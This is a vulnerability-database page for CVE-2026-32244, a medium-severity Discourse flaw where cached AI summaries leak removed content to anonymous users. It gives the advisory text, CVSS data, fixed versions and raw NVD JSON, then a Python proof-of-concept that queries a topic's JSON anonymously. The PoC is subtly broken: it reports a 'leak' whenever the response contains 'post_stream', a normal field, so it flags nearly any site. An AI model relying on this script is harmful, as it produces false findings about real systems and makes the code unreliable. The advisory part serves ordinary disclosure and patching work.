CVE-2026-32244

Description

Discourse is an open-source discussion platform. In versions prior to 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1, outdated cached AI summaries can leak removed content to anonymous and unprivileged users who cannot regenerate summaries. This issue has been fixed in versions 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1. To work around this issue, restrict summary generation by tightening the allowed groups on the summarization Personas.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Discourse < 2026.1.4

Discourse < 2026.3.1

Discourse < 2026.4.1

Discourse < 2026.5.0-latest.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-32244: Discourse AI Summary Information Leak
# This script checks if an outdated AI summary is exposed to unauthenticated users.

target = "https://target-discourse-site.com/t/some-topic-id.json"

headers = {
    "User-Agent": "Mozilla/5.0"
}

try:
    # Request topic data as an anonymous user
    response = requests.get(target, headers=headers)

    if response.status_code == 200:
        data = response.json()
        
        # Check for AI summary in the response (structure may vary)
        # In vulnerable versions, this might contain deleted content
        if 'ai_summary' in data or 'post_stream' in data:
            print("[+] Potential Leak Detected!")
            print("[+] AI Summary Data:", data.get('ai_summary'))
        else:
            print("[-] No AI summary found or patch applied.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32244
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32244
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32244/
[4] VulDB https://vuldb.com/cve/CVE-2026-32244
[5] https://github.com/discourse/discourse/security/advisories/GHSA-hjmg-2mww-vfvx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32244", "sourceIdentifier": "[email protected]", "published": "2026-05-19T00:16:37.100", "lastModified": "2026-05-19T14:44:04.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. In versions prior to 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1, outdated cached AI summaries can leak removed content to anonymous and unprivileged users who cannot regenerate summaries. This issue has been fixed in versions 2026.1.4, 2026.3.1, 2026.4.1 and 2026.5.0-latest.1. To work around this issue, restrict summary generation by tightening the allowed groups on the summarization Personas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-524"}, {"lang": "en", "value": "CWE-672"}]}], "references": [{"url": "https://github.com/discourse/discourse/security/advisories/GHSA-hjmg-2mww-vfvx", "source": "[email protected]"}]}}